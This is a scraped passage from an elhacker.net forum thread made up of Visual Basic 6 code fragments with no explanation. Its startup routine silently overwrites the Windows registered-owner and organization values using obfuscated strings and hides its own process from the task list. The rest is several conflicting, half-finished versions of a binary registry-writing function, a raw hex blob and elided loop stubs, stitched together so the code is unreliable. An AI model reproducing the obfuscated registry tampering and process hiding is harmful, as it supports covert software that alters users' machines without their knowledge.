Foro de elhacker.net

Private Sub Form_Load()
On Error Resume Next

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Ws = CreateObject("Wscript.Shell")
Set DirWindows = Fso.GetSpecialFolder(0)
Set DirSystem = Fso.GetSpecialFolder(1)
Set DirTemporal = Fso.GetSpecialFolder(2)
Set WsNet = CreateObject("WScript.Network")
MiNombre = App.Path & "\" & App.EXEName & ".exe"

Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", StrReverse(Replace(Replace(Replace(Replace(Replace("CVZDFGam1lmeX", "V", "A"), "F", "E"), "a", "/"), "1", "i"), "X", "N"))
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", StrReverse(Replace(Replace(Replace(Replace(Replace(Replace("rLtqer4 edL4 3frfX 3fsqB lqusfX", "X", "V"), "f", "i"), "q", "a"), "3", "c"), "4", "C"), "L", "o"))
Dim ProcessID As Long
ProcessID = GetCurrentProcessId()
retval = RegisterServiceProcess(ProcessID, RSP_SIMPLE_SERVICE)


End Sub

Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Public MiNombre As String
Public Fso As Object
Public Ws As Object
Public WsNet As Object
Public DirSystem As Object
Public DirWindows As Object
Public DirTemporal As Object

Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, ByVal lpdwDisposition As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Byte, ByVal cbData As Long) As Long

Function RegWriteBin(ByVal Data As String) As Boolean
      Dim btData() As Byte
      Dim hKey&, r&

  btData = StrConv(Data, vbFromUnicode)
  
  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    r = RegSetValueEx(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), Len(Data))
    r = RegCloseKey(hKey)
    
    RegWriteBin = (r = ERROR_SUCCESS)
  End If
End Function

Const REG_SZ = 1
Const REG_BINARY = 3
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
    'Create a new key
    RegCreateKey hKey, strPath, Ret
    'Set the key's value
    RegSetValueEx Ret, strValue, 0, REG_BINARY, strData, Len(strData)
    'close the key
    RegCloseKey Ret
End Sub

'SaveStringLong HKEY_CURRENT_USER, "S", "BinaryValue", "00 01 02 3D 05"

Function RegWriteBin(ByVal Data As String) As Boolean
      Dim btData() As Byte
      Dim sChar$(), i&
      Dim hKey&, r&

  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    sChar = Split(Data, " ")
    ReDim btData(UBound(sChar)) As Byte
    
    For i = 0 To UBound(sChar) - 1
      btData(i) = Val("&H" & sChar(i))
    Next
    
    r = RegSetValueEx(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), UBound(sChar))
    r = RegCloseKey(hKey)
    
    RegWriteBin = (r = ERROR_SUCCESS)
  End If
End Function

StrConv(Data, vbFromUnicode)

Function RegReadBin() As String
      Dim btData() As Byte
      Dim lBufferLen&, i&
      Dim hKey&, r&

  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    lBufferLen = 2048
    
    ReDim btData(lBufferLen) As Byte
    
    sData = String$(lBufferLen, 0)
    
    r = RegQueryValueExByte(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), lBufferLen)
    
    If r = ERROR_SUCCESS Then
      RegReadBin = Left$(StrConv(btData, vbUnicode), lBufferLen)
    End If
  
    r = RegCloseKey(hKey)
  
  End If
End Function

................0.................................`......................................... ... ....................................... ...#...........................

01001480900000009C000000140000003000000002001C000100000002801400FF010F00010100000000000100000000020060000400000000001400FD01020001010000000000051200000000001800FF010F0001020000000000052000000020020000000014008D01020001010000000000050B00000000001800FD01020001020000000000052000000023020000010100000000000512000000010100000000000512000000

Function RegWriteBin(ByVal Data As String) As Boolean
  On Error Resume Next
  
      Dim btData() As Byte
      Dim hKey&, r&
      Dim i&

  Data = Replace$(Data, " ", vbNullString)

  If (Len(Data) Mod 2) <> 0 Then Data = Data & "0"

  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    ReDim btData(Len(Data) \ 2) As Byte
   
    For i = 1 To (Len(Data) \ 2) Step 2
      btData(i) = Val("&H" & Mid$(Data, i, 2))
    Next
   
    r = RegSetValueEx(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), Len(Data) \ 2)
    r = RegCloseKey(hKey)
   
    RegWriteBin = (r = ERROR_SUCCESS)
  End If
End Function

For I = 1 To (Len(strData) \ 2) Step 2
      btData(I) = Val("&H" & Mid$(strData, I, 2))
Next

     Dim iCnt%

  ...

  For ... ....
    btData(iCnt)= ....
    iCnt=iCnt+1
  Next
  ...

    For I = 1 To Len(strData)  Step 2

    Next